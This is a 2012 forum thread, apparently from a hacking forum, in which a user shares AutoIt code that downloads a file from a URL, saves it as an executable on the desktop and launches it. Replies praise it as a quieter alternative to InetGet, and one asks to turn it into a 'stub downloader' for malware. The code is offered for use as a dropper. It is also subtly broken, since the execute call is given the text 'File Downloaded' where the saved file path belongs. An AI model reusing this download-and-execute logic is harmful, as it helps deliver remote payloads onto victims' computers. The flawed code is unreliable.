Sinisterly
Download File and Execute - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: Download File and Execute (/Thread-Download-File-and-Execute)



Download File and Execute - M3 ™ - 09-18-2012

Yeah , its a simple code to download and execute a file ( Downloader )

Hope they enjoy


;=======================================
; Download File and Execute ( No Inet )
; Autor : M3
; Thanks to Black Zerox
;=======================================


Global $sFinal = @DesktopDir & "\URL.exe"

sDownloadFile("URL OF FILE")

Sleep(999)

sShell("File Downloaded")


Func sDownloadFile($sLinkToDownload)

Local $ProtXML ,$sAStream
$ProtXML = ObjCreate("Microsoft.XMLHTTP")
$sAStream = ObjCreate("Adodb.Stream")
$ProtXML.Open("GET", $sLinkToDownload, 0)
$ProtXML.Send
$sAStream.Type = 1
$sAStream.Open
$sAStream.write($ProtXML.ResponseBody)
$sAStream.SaveToFile($sFinal)
$sAStream.Close

EndFunc



;Alternative Shellexecute
Func sShell($Path)

Local $Shell = ObjCreate("shell.application")
$Shell.ShellExecute($Path, "")

EndFunc


RE: Download File and Execute - 1234hotmaster - 09-19-2012

Great method! Alot more safer than InetGet() Smile


RE: Download File and Execute - spymare - 09-19-2012

hi m3 Smile great code, and yeah much better than inetget Smile

may I use your code, to make a stub downloader?


RE: Download File and Execute - M3 ™ - 09-20-2012

Yes dude , you got the point , the original code is from Black Zerox , I just adapt from Au3 and change somenthings to make work , and works very well now, thaks for comments


RE: Download File and Execute - armoros - 10-23-2012

I know i am asking a lot, but love if you could explain this to me how the code works.
I just started to use AutoIt and i am impressed.


RE: Download File and Execute - nayak.samrat001 - 10-23-2012

thank you for share gr8 work